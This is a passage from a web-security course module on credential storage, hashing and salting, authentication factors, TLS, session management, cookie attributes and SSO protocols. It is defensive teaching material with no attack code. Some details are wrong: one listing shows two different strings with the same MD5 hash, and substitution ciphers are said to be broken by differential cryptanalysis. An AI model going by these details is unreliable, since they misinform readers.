Plaintext is not secure because anyone that can view the data can view
the credentials. Another approach to discuss is encrypted credentials.
Encryption[384] uses a cipher[385] with
an encryption key,[386] which transforms the
plaintext into ciphertext.[387] Encryption falls under
cryptography,[388] which is a whole domain that one
can specialize in.
For this module, we will only review the basics of a few
cryptographic concepts. Because the terms and ideas are complex, we
will not fully be covering them here.
Encrypting and decrypting data is supposed to provide more secure
communication or storage. There are different types of encryption
methods, but the critical thing is that encryption is a reversible
process by design. This idea of protecting the encryption key through
proper key management and storage plays a very important role in
cryptographic implementations.
Let's inspect an example, called ROT13,[389] which is a
subset of a Caesar cipher.[390] A Caesar cipher is
a type of substitution cipher, and although neither ROT13 or Ceasar
ciphers are usable encryption, they are both trivially broken and
should not be used. Rather than using a substitution cipher, we would
normally use a block cipher.[391]
A substitution cipher[392] replaces
plaintext with ciphertext by using a key map to substitute each
character of the message with a mapping as instructed by the key.
Substitution ciphers are generally insecure and can be broken with
differential cryptanalysis. Differential cryptanalysis works by
measuring the difference between each character of the ciphertext,
resulting in mapping used by the key being uncovered.
Most secure ciphers have more steps than just substitution and
use multiple rounds of permutations with a key that has specific
properties to make the cipher text indistinguishable from random
data. Secure ciphers may also ensure other properties, such as
non-malleability, that are desired for security.
Below, we have a message followed by a "key". The key is displayed on
two lines. The first line is the alphabet from a-z. The second line is
the alphabet again, but starts at "n" and ends with "m". In this case,
we can say that the alphabet has shifted 13 characters and each letter
of the first line matches a different letter on the second line.
"my super secret password is password"
a b c d e f g h i j k l m n o p q r s t u v w x y z
n o p q r s t u v w x y z a b c d e f g h i j k l m
Listing 1 - Message and key
Let's take each letter in our message, find it on the first line of
the key, and change it to the corresponding letter on the second line
of the key. For example, the letter "m" becomes the letter "z".
"zl fhcre frperg cnffjbeq vf cnffjbeq"
Listing 2 - Encrypted message
The encrypted message appears scrambled. This same idea can be applied
to credentials. If the encryption method used above was implemented,
the database table could be something like this for the password of
"CipherRocks".
| username | password |
|---|---|
| admin | PvcureEbpxf |
Table 2 - Weak encrypted password
That is one example of encryption, although weak encryption. Even weak
encryption is more secure than plaintext passwords. A better cipher
to use would be the block cipher AES.[393] Ciphers are used in
different ways depending on the situation. For example, they are used
in another type of cryptographic function called hashing.
A hash function[394] transforms input data into a
fixed-length of bits (often to hexadecimal numbers and letters).
In cryptography, a hash refers to the output of a one-way hashing
algorithm that transforms the input (typically by using similar
transformations as encryption but without the ability to decrypt or
reverse the process).[395] Hashing is one-way,
because, unlike encryption, hash functions do not have a key and a
decryption function. If a hash function is reversible, then it is
likely not usable and should likely be treated as broken. Rather than
decrypting a hash, we "check" hashes by supplying the input to the
hash function to check if the result matches.
Let's examine an example using the MD5[396] hash function.
Although MD5 is less secure than other hash functions in many
contexts, it is widely known and provides a quick starting point to
explain the idea of hashing. We will use the md5sum program, which
comes pre-installed with Kali. We will echo our "CipherRocks"
password and pipe it to md5sum as input.
kali@kali:~$ echo "CipherRocks" | md5sum
ae1ee2fbdc29a11e05ae31ff9dc7a735 -
Listing 3 - Using md5sum to hash plaintext password
The result is a new value, which is the MD5 hash of the input
"CipherRocks", including a newline from the echo command. This md5sum
value is always the same for the exact string and newline and if
we change anything, a different hash value will be returned. Let's
run this same command on the exact string and then alter the string
slightly and review the results.
kali@kali:~$ echo "CipherR ocks" | md5sum
ae1ee2fbdc29a11e05ae31ff9dc7a735 -
kali@kali:~$ echo "Cipherr ocks" | md5sum
cb8bf6632622853d14410e3e2b5b34c2 -
Listing 4 - Using md5sum to hash different strings
Here, we observe that if we make any manipulations to the input,
such as changing the uppercase "R" to a lowercase "r", the value is
completely different. Hashes should be unique to the bytes used as
input. Two different inputs resulting in the same hash is a collision,
which is an indication of a problem with that hash function.
Let's examine how this method would change the database table.
| username | password |
|---|---|
| admin | ae1ee2fbdc29a11e05ae31ff9dc7a735 |
Table 3 - Hashed password
Now, when the web application receives the user's plaintext password,
like "CipherRocks", the web application will convert the plaintext
password to an MD5 hash and compare the returned hash value to the
value in the table for that user. If someone is able to attain or view
the hashed values, unlike encryption, they cannot reverse the process
without knowing or guessing the input to the hash function.
A more realistic hash function to use for passwords is
Argon2[397] or yescrypt[398]. MD5 may have
some use for manual checksums, but is not appropriate for password
hashing. The default password hashing at the time of this writing
in many Unix-based systems is SHA-512.[399], but yescrypt
is being adopted as the default. Other systems such as OpenBSD use
bcrypt[400] by default for password hashing. The hashing
algorithm used for a given web application may vary.
No matter the algorithm used, hashes are only as secure as the
input to them. If the input to the hash function was a small English
word, then we can guess the value with relative ease. We can have a
collection of hashes that contain words within the English dictionary.
Then, we can compare the hash against each hash in our collection
until we have a hit.
There's a lot more to this hash comparison idea. It used to be
popular to use a Rainbow Table,[401] a table of known
hashes used to check the strength of password hashes; however, that
technique is typically not useful with more modern systems and will
not be a focus in this module.
Another element we will mention is using a construction
called a salt.[402] A salt is a value that is
concatenated,[403] or added, to a password prior
to hashing as part of the hashing process. There are various ways
to implement salting. For example, we can hash a password+salt, a
salt+password, or the result of either and then concatenate the salt.
In order to explain the basics, we will only cover a simplified
hashing of a password+salt. We would also want to use a different hash
algorithm than our example to improve security, as MD5 is not secure.
Let's examine a naive example below where we use a made-up value as a
salt.
Password = "CipherRocks"
Salt Value = "SecretSalt"
MD5 value of "CipherRocksSecretSalt" = 350436d94a2d4d9359781549c98c97a1
Listing 5 - MD5 Value of Password+Salt
In the example above, we took the MD5 value of the concatenated
version of the password and the salt. One note: order matters. If we
swap the order of the password and salt and hash it, we will get a
different hash value.
Password = "CipherRocks"
Salt Value = "SecretSalt"
MD5 value of "SecretSaltCipherRocks" = c4cd4eb457df986299e00c2c879e22d3
Listing 6 - MD5 Value of Salt+Password
As expected, the MD5 hash value is different. Salting creates a layer
of defense against using something like a Rainbow Table to identify
a hashed password. Rather than using Rainbow Tables, most hash
brute forcing is done with tools that can extract and use the salt
while making rapid guesses, such as John the Ripper[404] and
Hashcat.[405]
A potentially stronger implementation is to generate a random salt for
each different password that is used (or any time a password is set or
changed). A salt can be created separately using various programming
languages or with the same software that hashes based on the hash
algorithm specifications. Even if the same exact password is used
(by different users for example), a different and random salt applied
to it will make the two resulting hashes different. If we manually
create the salt, we also need to store it in a way so that it can be
retrieved when the hash needs to be checked.
Let's take the random salt idea and manually apply that to our
database table example. Let's assume the randomly generated salt is
"0Fsi39fjdksFGSHDosd304DS". We then concatenate this to our previously
used password, creating "0Fsi39fjdksFGSHDosd304DSCipherRocks".
Then, we can take the MD5 hash of that value, resulting in
"9bd95586bfb103f51b2e1e350d42c97d".
kali@kali:~$ echo "0Fsi39fjdksFGSHDosd304DSCipherRocks" | md5sum
9bd95586bfb103f51b2e1e350d42c97d -
Listing 7 - MD5 Value of RandomSalt+Password
The database table would result in:
| username | password |
|---|---|
| admin | 9bd95586bfb103f51b2e1e350d42c97d |
Table 4 - MD5 hash of Salt+Passowrd
We manually added a salt in our example, but in a real implementation,
the salt is typically automatically managed by the hash function
implementation.
We discussed various methods of storing credentials into databases.
Storing hashes of credentials is generally better than storing
encrypted or plaintext credentials, but no matter which method is
used, weak passwords are always insecure.
As mentioned earlier, when a user logs in to a website, the server
will use the credentials provided to authenticate. Once authenticated,
the server and client will undergo an authenticated session management
process to maintain that interaction for a period of time. Before
we discuss details regarding that process, let's outline the
authentication process a little more.
To begin, a user provides some sort of information as credentials that
would uniquely identify them. Next, that data would be compared to
information that is stored, such as hashes within a database. Finally,
if there is a match, the server would authenticate the user. As
discussed in the previous section, an example would be a username and
a password. Once the user provides the username and password to the
server, the server compares that information to existing data.
For instance, a server might verify that the username exists by
running a query on the database. If there is a match, the server would
take the user provided password, apply a salt value to append before
the password, hash the result, and compare the value to the hash value
of the username that matched the previous result.
This is only one example of many possible implementations that can
exist.
In terms of information provided by the user to authenticate, there
are three categories to outline. Let's break down each method:
- Knowledge: something the user knows, like a password, personal
identification number (PIN), or security question - Possession: something the user has, like an identification
(ID)/smart card, token (software/hardware), or phone/device - Inherence: something the user is, like fingerprint, retina/iris,
facial recognition, voice, and biometric
In general, one or more of these methods is used during the
authentication process. The user will provide data (password,
fingerprint, etc), and that data will be compared to data usually
located in a database. If there is a positive match, the system will
authenticate the user.
Single-factor authentication is considered less secure than
two-factor authentication (2FA) or multi-factor authentication
(MFA).[406] 2FA or MFA includes at least two methods from the
three categories. For example, we might provide a username/password,
followed by a code that was sent to our mobile phone. This method
of combining two or more authentication types makes MFA much more
difficult for attackers to gain unauthorized access by using something
like compromised credentials.
The last thing to highlight in this section is the Transport Layer
Security (TLS)[407] protocol. This protocol provides more secure
communication over a network. After a user provides the credentials to
a website, if there is no secure way to send that data from the client
to the server, that information could be compromised more easily.
Like many security controls, TLS should not be the only control to
protect against attacks. TLS can provide encryption and identity. TLS
is only a piece of the computer security puzzle, specifically securing
communications across the network.
For the purpose of this module, we are going to briefly introduce TLS
to secure traffic between a client and a web server, like during the
authentication process. The lab example does not use TLS and we will
be exploring TLS further in different modules.
Let's outline the process called the TLS
Handshake.[408] Before the TLS handshake we have
the TCP three-way handshake,[409]. There are
many possible details related to the TLS handshake based on use
of different TLS protocols and configurations, including optional
configurations. To keep this explanation simple, we will only outline
the general steps.
- TCP three-way handshake establishes the network connection over TCP.
- The client initiates the TLS conversation with a "client hello"
request, and may supply client authenticating certificate(s) and other
pre-shared information. - Server responds with the "server hello". If no TLS client
authentication is used, the server moves on and responds with its
certificate. If the client certificate is used, the server verifies
the client certificate against the client trust list and terminates
the connection if signature verification fails. - The client verifies the server is trusted against the client's trust
store. - The cipher selection is also agreed upon between the client and
server. If they are not compatible or the verification fails, the TLS
connection terminates. - Once each side has completed the required
verification and agreed on cipher, the cipher selection is used to
generate session keys and an encrypted communication tunnel for the
rest of the data.
Note that the client and server also must agree on TLS protocol
version. At the time of this writing, TLSv1.3 and customized TLSv1.2
are the versions to use. By customized TLSv1.2, we mean that TLSv1.2
does contain less secure cipher settings, but can still be effective
if the weaker ciphers are disabled. TLSv1.1 and older are not
considered sufficiently secure anymore.
Once the TLS handshake is complete, user information, such as username
and password, can be sent between the client and server encrypted.
The session can leverage the encrypted tunnel to share all data during
that TLS session. TLS sessions have their own tracking and management.
We will not be covering TLS session management in this module.
TLS isn't always implemented, but it's usually recommended to provide
a secure communication over the network for things like logging into a
website.
Picking back up where we left off, our TLS handshake is complete so
let's review a common example of the authentication process.
- The TLS handshake is initiated and completed between the client and the
server. - User-provided credentials are encrypted and sent from the client to
the server. - The server compares the data received from the client to the data
located in a database. - If a match exists, the server authenticates the user.
- The client and server begin the session management process.
The authentication process is complex and a lot occurs prior to
starting the authenticated session management process. These technical
steps are important in understanding the overall process, which
encompasses unauthenticated session management, authentication,
authenticated session management, and authorization.
Next, we will learn about the basics of a session, such as HTTP
session ID properties, session expiration, and web browser storage.
Session Basics
This Learning Unit covers the following Learning Objectives:
- Explain HTTP session ID/Token properties
- Describe session expiration
- Learn about web browser storage
Previously, we discussed the authentication process. We covered things
like the TLS handshake, types of authentication methods, and ways
credentials might be handled.
In this Learning Unit, we will cover the basics of an HTTP session.
Session management can exist before and after the authentication
process. The session management process is important because it allows
the server to maintain a persistent and unique interaction between the
server and the specific client.
In order to achieve this, certain information, such as session ID, can
be created. This information is used by the client and the server to
uniquely track client interaction.
The session identifier (ID),[410] or session token
is a unique value that is used to identify a session. Session
IDs have certain properties that are important to know due to
security implications. Session-related attacks, such as session
hijacking,[411] are very prevalent if developers do
not consider security when creating a web application.
Session IDs can usually be identified by a "name=value" pair. Let's
review an example of a session ID.
sessionID = myExampleSessionID123
Listing 8 - Example session ID
Some out-of-the-box web application frameworks have their own
session ID names, such as PHPSESSID for PHP.[412]
From an offensive standpoint, this is great information during the
reconnaissance phase. From a defensive perspective, we need to be
mindful what information the server can present to clients. This can
include data such as session ID names.
Session IDs are generated to be long and indistinguishable from random
data to improve the security against an adversary guessing session
IDs.
In this section, we will quickly discuss the potential life cycle
of session IDs. From a security perspective, web servers should
only accept IDs for valid sessions. This may not always be the
case. Some web servers may accept client-side generated session IDs,
allowing manipulation from an adversary. Allowing web browsers to
specify the session ID can lead to things like session fixation
attacks.[413]
Session expiration is an important part of session management.
There are various configurable timers that should balance security
with business impact. Sessions need to expire, otherwise they
are not really a session. Session IDs that don't forcefully expire
can lead to endless sessions that might lead to a vulnerability.
Idle timeout takes activity into account and defines when a
session expires based on activity. For example, if the client does
not interact with the server, the timer starts. If the session is
idle for a certain time, the session expires. This timeout is more
effective compared to not having any timeout, but idle timeouts are
not necessarily as effective as an absolute timeout.
An absolute timeout is the finite time before an active session
expires and requires the client to either re-authenticate or reset
the session. For instance, let's say we visit a store website with
an absolute timeout. The second that session is initiated, we have
60 minutes before it expires. During that time, we add things to
our cart. If we don't checkout before the session hits the absolute
timer, we risk our session expiring. This can result in the removal of
our items in our cart because the server would not continue to track
that an expired session. An absolute timeout is generally applied to
authenticated sessions.
For example, if we authenticate to access our bank account, an
absolute timer of 30 minutes might exist. After 30 minutes, our
authenticated session would expire, requiring us to authenticate
again. This timeout method can be more effective in combating certain
session attacks.
Similar to generating the session ID, the server should maintain
these timeout values. Attackers can take advantage of servers that
accept client-side timeout values by manipulating the timeout, which
may render the security measure completely ineffective.
There are other ways a session can expire. If the privilege level
changes, a best practice is to expire the current/previous session
and generate a new session and related IDs. For example, an
unauthenticated vs. authenticated session (upon login), or logging in
as a low privilege user vs an administrator user for a web portal. As
a security measure in these cases, a session ID should expire and a
new session ID should be created.
For authenticated sessions, if the user logs out, the server should
end that session. If the session only ends on the client-side, an
attacker can exploit this vulnerability by taking over the session.
By mimicking the old client and hijacking the session, the web server
will keep the session active.
Some people use browser plugins that store passwords or other
long-lived authorization data, sometimes known as a "remember me"
feature. Increasing the time of a session can increase security risks.
This type of feature is typically bad for security.
Some sites will have a pop up that informs the user of a forced log
off. The pop up box may have a live timer or may include the local
time of when the session expires.
Lastly, we will mention session ID caching. A cache[414]
is a concept that stores data meant to be accessed later to speed
up the operation. Specifically, web caching[415] occurs
when information from web servers is stored on the client. This
helps with things like reducing network traffic and bandwidth as well
as increasing browsing speed. Depending on factors such as how web
browsers are configured, session IDs could be cached client-side.
Let's review an example where an attacker has a low privilege account
to a personal computer. On this computer, the owner browses to a bank
site and the session ID is cached client-side. The attacker could
use that information to hijack the session, even after the user logs
out. This would depend on other factors, but it is a possibility
nonetheless. To prevent something like this from happening, caching
session IDs should be avoided unless there is a clear operational or
legal necessity.
Now that we have a better understanding of HTTP session management,
let's discuss some ways browsers can store session data. Depending
on factors such as purpose, browser, and client-side capabilities,
there are many ways to cache our web-related data in the browser.
Because having a deep understanding of storage mechanisms takes time
and practice, we won't cover all the ways to achieve this, but we will
introduce some related concepts.
In this section, we will focus on two specific web storage
mechanisms.[416] Web storage serves a similar purpose as
cookies, which we will cover in the next Learning Unit, but there are
some differences. Web storage allows web applications to store data,
such as session management information, in the browser on the client
side. Cookie sizes are generally limited to four kilobytes (KB),
while web storage (depending on the browser type and version) can be
anywhere between 5-10 megabytes (MB).
For this short demonstration, we are going to use Mozilla Firefox.
Accessing this information on other browsers will require similar
steps with slight differences. First, let's launch the browser and
open a new tab. Then, we will right-click on the page and select
Inspect to open up the Page Inspector.[417]
The Page Inspector should be visible at the bottom of the browser
window and there are several tabs at the top of the Page Inspector
pane. One is labeled Storage.[418]
On the left hand side, we observe several storage types located in the
storage tree. We will review cookies in the next Learning Unit. Now,
let's discuss Local Storage and Session Storage.
If expanded, we can select one of the items and find that the
browser does not have any data at this point. This is because we are
inspecting a new tab and not interacting with any servers.
Session storage (sessionStorage) maintains values related to a
session for the time that the browser is open. An example of session
storage is storing information for unauthenticated session management.
Like in the previous example where we visited a website and added
items to our cart, the data that tracks which items were added to our
cart can be stored in the session storage.
Local storage (localStorage) can maintain data after the browser is
closed, but when users select clear browsing data, the storage can
be removed. Local storage can also be removed by browser plugins and
code. Local storage can store information like the "remember me" data.
Even if we close and reopen the browser, it can keep track of that
information in the local storage.
The way items are stored depends on many other factors, such as
browser settings and web application configuration. The above examples
are just potential ways storage can be implemented. An instance where
storing data within those two buckets might be an exception is when we
use incognito mode, in-private browsing, or browsing in private.
In general, private browsing or incognito mode will not store values
in local storage. However, the browser and settings determine the
storage location.
For example, if we log in to an account while using incognito mode,
the browser may store data related to that authenticated session for
the duration of that session. If we close the browser (or tab), that
session will no longer be present because the data wouldn't be stored
in a persistent manner.
Incognito mode generally allows users to browse the internet
without storing web or session-related data on the client machine in
a persistent manner. It is up to the browser developers to determine
how Incognito features work, but as of this writing they commonly
do not hide IP addresses or provide any security; they just prevent
long-lived trackers and storage from being saved.
Introduction to Cookie Security
This Learning Unit covers the following Learning Objectives:
- Understand the basics of HTTP cookies
- Discuss HTTP cookie attributes
In this Learning Unit, we will discuss cookies. Unfortunately, not
delicious baked cookies, but HTTP cookies, which serve a similar
purpose to web storage. There are disadvantages to using cookies when
used to store values for sessions.
HTTP cookies,[419] also called web, internet, or browser
cookies, are used to store data related to sessions and/or to track
the user's activity on the web. When they are implemented, they they
are commonly included in every HTTP request.
Why are they called cookies? Great question. Fortune cookies
are sugary treats that contain a short message written on a small
piece of paper "hidden" inside the cookie. This was the inspiration
behind magic cookie, which is a small piece of data or token
sent between programs over the network. In turn, the term "HTTP
cookie" was created from magic cookie by a programmer named Lou
Montulli.[420]
Let's explore an example of how the server sets the cookie and how the
client informs the servers with the cookie.
First, the server uses a Set-Cookie header as part of the HTTP
response.
HTTP/2.0 200 OK
Content-Type: text/html
Set-Cookie: name=value
Listing 9 - Set-Cookie header from server to client
Then, the client can include the Cookie header in every request.
Get /blog.php HTTP/2.0
Host: www.offsec.com
Cookie: name=value
Listing 10 - Cookie header from client to server
We are able to set multiple cookies too.
HTTP/2.0 200 OK
Content-Type: text/html
Set-Cookie: name1=value1
Set-Cookie: name2=value2
Listing 11 - Multiple Set-Cookie headers
Then the client can include the Cookie header in every request to that
website.
Get /blog.php HTTP/2.0
Host: www.offsec.com
Cookie: name1=value1; name2=value2
Listing 12 - Multiple Cookie headers
As previously mentioned, web cookies are used for things like session
management and tracking. While they can also authenticate users, that
is not typically a very secure approach because it presents a serious
security challenge and must be implemented carefully. For example,
cookie data should be encrypted and tamper-proof to avoid attackers
from viewing and/or manipulating it to send a different value. In
short, cookies are best used for tracking, not authentication.
Another popular attack example is using cross-site scripting
(XSS)[421] attacks to steal user cookies and impersonate the
user. There are many other types of attacks that stem from cookie
based authentication.[422]
Because cookies can allow web servers to track user activity,
growing privacy concerns have led to international cookie laws and
regulations.[423]
Because of the regulations regarding cookies, websites commonly inform
the users of the cookie usage. Additionally, the web server may also
allow the user to select which cookies to enable.
Now that we have an overview of cookies, let's examine some cookie
attributes.
The Set-Cookie header has a few attributes[424]
that can increase the security of the cookie. However, other factors,
such as web server configuration, browser version, and improper
implementation, can negatively impact the level of security.
Similar to web storage, a cookie's lifespan can be adjusted to be
based on the session or exist longer (potentially "forever").
Session cookies usually terminate once the session ends. This
may mean when the tab or browser closes. Permanent cookies will
last either until reaching a designated date/time value or after a
specific time period. We can achieve this by using something like the
Expires or Max-Age attributes.
Set-Cookie: name1=value1; Expires=Mon, 01 Jan 2023 00:00:00 GMT ;
Set-Cookie: name2=value2; Max-Age=600 ;
Set-Cookie: name3=value3; Expires=Mon, 01 Jan 2022 00:00:00 GMT ; Max-Age=800 ;
Listing 13 - Set-Cookie header with the Expires and Max-Age attributes
The first cookie expires when the client machine reaches the specified
date/time value. The second cookie expires 600 seconds from the
time the session begins. The third cookie will actually ignore the
Expires attribute and follow the Max-Age attribute. Because the
Expires attribute has a date/time value in the past, it will exist
for 800 seconds based on the Max-Age attribute.
We can also declare which URLs the cookie is used with. In other
words, we can inform the browser of the cookie source. With the
Domain and Path attributes, we are able to specify either the URL
(domain) or the URI context (path). Subdomains are included only if
the domain is specified. For the Path attribute, subdirectories are
included by default.
Set-Cookie: name1=value1; Domain=domain.com ;
Set-Cookie: name2=value2; Path=/accounts ;
Set-Cookie: name3=value3; Domain=domain.com ; Path=/accounts ;
Listing 14 - Set-Cookie header with the Domain and Path attributes
For the first example, cookies will be accepted with requests
of domain.com to include subdomains. The second example will
only accept cookies with requests of the host (web server), not
counting subdomains, and the path of domain.com/accounts. The
third example allows domain.com, any subdomain, and the path of
domain.com/accounts.
Some attributes will only accept certain values. For example, there
is an attribute named SameSite and it accepts Strict, Lax, or
None as the value. We can use this attribute to restrict cross-site
subrequests.
For example, with the Lax value, cross-site subrequests will be
accepted only when a user navigates to the origin site. This value
is the default for this attribute to create some protection against
Cross-Site Request Forgery (CSRF)[425] attacks. For security
reasons, we must also select the Secure attribute to set the value
to None.
Set-Cookie: name1=value1; SameSite=None ; Secure ;
Set-Cookie: name2=value2; SameSite=Strict ;
Listing 15 - Set-Cookie header with the SameSite attribute
The first examples allows any cross-site subrequests to include
third-parties. There's also a Secure attribute, which we will
explain momentarily. The second example allows only first-party
subrequests. In other words, the cookies are from a different domain
than the one the user is currently browsing.
Some attributes don't need values, like Secure and HttpOnly. These
attributes are only included if we want to enable the feature.
With the Secure attribute set, cookies will only be accepted from
requests over HTTPS. This can help mitigate monster-in-the-middle
(MITM)[426] attacks.
Another way to mitigate some XSS attacks is to use the HttpOnly
attribute. This restricts the use of JavaScript from accessing the
cookie. The popular document.cookie property will not work if this
attribute is set.
Let's review an example with these attributes.
Set-Cookie: name1=value1; Secure ; HttpOnly ;
Listing 16 - Set-Cookie header with the Secure and HttpOnly attribute
The cookie above has both attributes enabled, meaning cookies will
only be accepted over HTTPS and JavaScript cannot be used to access
the cookie. If an attacker were to attempt to access this cookie, the
browser would return an empty string. Both of these attributes can
help improve the overall security of implementing cookies for things
such as session management. The last Learning Unit will cover more
authentication methods used during session management such as single
sign-on.
Single Sign-On (SSO)
This Learning Unit covers the following Learning Objectives:
- Learn how single sign-on (SSO) works
- Describe various single sign-on protocols
An important part of information technology (IT) is managing
identities. Identity and Access Management (IAM)[427]
is a massive discipline within IT that governs processes like
authentication and authorization. Technologies like identity
management systems[428] are used to provide
authentication and/or authorization for employees within companies.
Due to the number of identity management systems and the challenges
they pose, centralized identity management is often desired.
Federated identity[429] provides a way for a user's identity
to access multiple identity management systems. Single sign-on is a
subdomain of federated identity.
In this Learning Unit, we will discuss single sign-on processes and
specifications, like OAuth and OpenID. The benefits of single sign-on
are most noticeable when the organization uses numerous types of
application resources. Without single sign-on or identity management,
the user has to create one username/password for each application. In
cases where there are 10 or 20 applications, it can be very cumbersome
for the user to sign in to all of the applications separately. Single
sign-on helps alleviate that problem and more.
Single sign-on (SSO)[430] is a process where a user
authenticates once and is able to access multiple resources that would
normally require their own authentication. This is different from
centralized identity management, which is where the same identity such
as username and password, are synchronized between different systems.
SSO is a layer that negotiates authentication and authorization on
behalf of the user to reduce the number of authentications required
for a user and a group of resources.
A physical world example of this is someone attending a conference
located at a hotel. Upon entry, the person provides proof of their
identity, which is validated. Then, they are given a badge to wear
throughout their stay. The badge is used as "proof" that they were
vetted so they don't have to validate their identity from room to
room. Single sign-on is very similar in that regard with computer
resources.
Centralized identity providers can be used to improve user experience
by reducing the number of passwords the user needs to maintain at the
cost of that single password having greater impact if compromised. SSO
systems might also aid identity management systems in tracking user
activity more consistently. But there is greater risk if the single
authentication or authorization are too easily given out or if it uses
weak passwords for identity.
SSO can improve security by reducing the amount of times real
passwords need to be entered in different systems or passed around.
By leveraging short-lived tokens and negotiated access, the attack
surface has the potential to shrink. While there is that potential,
managing and implementing access tokens moves the problem from
passwords to these tokens, and sometimes significant engineering must
be done to secure said tokens.
From a user perspective, less time spent entering credentials is
commonly more enjoyable. Employee on-boarding and off-boarding can
also be more efficient in some cases. Technicians can add a user and
enable the resources they should have access to more effectively when
they can control it from the SSO system. When the employee leaves,
the technician can disable access if there is a centralized system.
We can still have a centralized identity system without SSO, as we
can have granular access controls and manage them centrally. The
operations costs are typically greater for each additional source of
truth that must be maintained. Collapsing the many different software
and hardware resources into a few well-managed and engineered identity
systems is ideal.
One of the biggest downsides is a single point of failure. Issues like
incorrect configuration, software vulnerability, and poor password
management are all potential costs to an individual or organization.
If an unauthorized person is able to gain access as an existing user
identity, they might gain access to all the resources available to
that user.
There are several ways to reduce risks of SSO. As with all systems,
multi-factor authentication, continuous security assessment, and
keeping systems updated with patches can help an organization improve
security of SSO and identity systems. We'll explore more about
defending SSO and identity management in a separate module.
Alongside the single point of failure is equipment failure. Power or
network issues can stop company wide operations if users can't access
resources to do their jobs. Uninterruptible power supply[431]
and network redundancy[432] are some ways to
address equipment failure. We will cover failure scenarios further in
another module.
There may be challenges with integrating applications into the
single sign-on framework. Depending on the situation though, the time
investment and resources may be worthwhile long-term to build up SSO
with MFA layers for our internal and external user accounts. Nothing
is unhackable, however. MFA can be bypassed. But a layered approach
is important for defense in depth. As we design systems architectures,
we can consider these technologies for sessions as different layers
working together to provide multiple protections against adversaries.
Rarely is every asset behind a single SSO service, and that is
not inherently a problem. There are advantages to SSO, but those
advantages must be balanced carefully with the overall systems
architecture and user needs.
In this section, we will introduce four single sign-on technologies:
Open Authorization (OAuth), OpenID, OpenID Connect (OIDC), and
Security Assertion Markup Language (SAML).
Open Authorization (OAuth)[433], OpenID[434],
OpenID Connect (OIDC), and Security Assertion Markup Language
(SAML)[435] are all specifications we can leverage for enabling
authentication and authorization.
The OAuth process overview can be summarized in this example flow.
+----------+
| Resource |
| Owner |
| |
+----------+
^
|
(B)
+----|-----+ Client Identifier +---------------+
| -+----(A)-- & Redirection URI --->| |
| User- | | Authorization |
| Agent -|----(B)-- User authenticates -->| Server |
| | | |
| |<---(C)--- Redirection URI ----<| |
| | with Access Token +---------------+
| | in Fragment
| | +---------------+
| |----(D)--- Redirection URI ---->| Web-Hosted |
| | without Fragment | Client |
| | | Resource |
| (F) |<---(E)------- Script ---------<| |
| | +---------------+
+-|--------+
| |
(A) (G) Access Token
| |
^ v
+---------+
| |
| Client |
| |
+---------+
Listing 17 - Example OAuth flow
The example OAuth flow comes from the OAuth specification,
demonstrating how authentication and authorization work with OAuth.
The authentication takes place and then the authorization facilitates
providing a token to access the requested resource.
While both OAuth and SAML have some similarities, they have distinctly
different data structures and specification details. OAuth may be
considered more flexible in terms of specification, with detail around
authorization yet leaving authentication more open-ended. SAML has a
more verbose data structure, is designed for an enterprise use-case,
and can integrate with OAuth to extend capabilities. SAML uses XML
while OAuth uses JSON. When SAML incorporates OAuth, SAML assertions
act as the OAuth client and SAML can act as an authentication
mechanism for OAuth.
The SAML process has three main parties: a user (the client),
an identity provider (IdP),[436] and a service provider
(SP).[437]
- First, the user requests access to a SP.
- The SP sends an authentication request to the IdP.
- The IdP confirms the authentication request, and then the user can
authenticate with the IdP. - Once the IdP has validated the user's identity, the IdP will craft
a SAML assertion and send it to the SP. The assertion is a group of
Extensible Markup Language (XML)[438] statements that detail
the permissions the user has. The SP uses these statements to decide
what resources the user can have access to. - The SP uses the assertion to provide proper access (or
authorization) based on the data within the assertion.
Below is an example SAML 2.0 assertion[439], with
the whitespace only for display purposes. Normally, the XML would
not have whitespaces and appear as an XML blob. We don't need to
understand everything about this example for this module, but we can
start to familiarize ourselves with the terms and structures we might
encounter in SAML 2.0. Note that some was cut from the signature block
in the example. We would normally find more information about the
cryptographic algorithms and details in that section.
<Assertion IssueInstant="2010-10-01T20:07:34.619Z"
ID="ef1xsbZxPV2oqjd7HTLRLIBlBb7"
Version="2.0"
xmlns="urn:oasis:names:tc:SAML:2.0:assertion">
<Issuer>https://saml-idp.example.com</Issuer>
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
....(CUT)....
<ds:SignatureValue>FOeNYNCfzxWMDlnWPzbBagVt1qqrSvDmtmcBhxYQnpKS2Y/OR90dTSMPY5mV+TNnIV9ELxD2ht8ialJ+4fjLqboKBm0rCfuExu9VByZ3LtnjtcFJpjTuARsS7iUdiywlRCoWUAO/GiYBHSc111KEOURiRx6tDlIPksJNNTwL5wo=</ds:SignatureValue>
...(CUT)...
</ds:Signature>
<Subject>
<NameID
Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">
bob@example.com
</NameID>
<SubjectConfirmation
Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<SubjectConfirmationData
NotOnOrAfter="2021-10-01T20:12:34.619Z"
Recipient="https://authz.example.net/token.oauth2"/>
</SubjectConfirmation>
</Subject>
<Conditions>
<AudienceRestriction>
<Audience>https://saml-sp.example.net</Audience>
</AudienceRestriction>
</Conditions>
<AuthnStatement AuthnInstant="2021-10-01T20:07:34.371Z">
<AuthnContext>
<AuthnContextClassRef>
urn:oasis:names:tc:SAML:2.0:ac:classes:X509
</AuthnContextClassRef>
</AuthnContext>
</AuthnStatement>
</Assertion>
Listing 18 - Example SAML 2.0 XML
The example SAML 2.0 assertion XML is detailed; we can find email
address, digital signature, service provider URL, and IdP URL within
the assertion. SAML provides a large feature set with detailed XML
data that can help an organization integrate many different systems.
While the many SAML properties can be useful, they can also be
time-consuming for programmers to manage in some situations.
OAuth can provide some relief from the complexity of SAML and
is easier to program. One common approach is combining OpenID
(authentication protocol) with OAuth 2.0 into a technology called
OpenID Connect (OIDC). This enables us to sign in to applications
using third-party accounts. We can use OIDC to let Google
authentication approve authorization for our service. OIDC takes
OAuth and adds additional authentication and client identification
capabilities on top of the OAuth specification.
If the organization desires the ability to authenticate using
third-party accounts and provide delegated access control, OIDC might
be a good choice. With OIDC, we have the potential to save costs by
offloading some of the computation and configuration to an external
authoritative identity provider, such as a social media platform.
OIDC can also be used internally like SAML, meaning that we can host
our own OIDC authority instead of outsourcing it to a third party.
Using an internal OIDC system is more common within an organization's
private access. The organization might have a control panel interface
for the administrators integrated with OIDC, allowing those authorized
for the control panel to be authorized for other infrastructure
systems.
We will review an example JSON lease for an OIDC integration. Notice
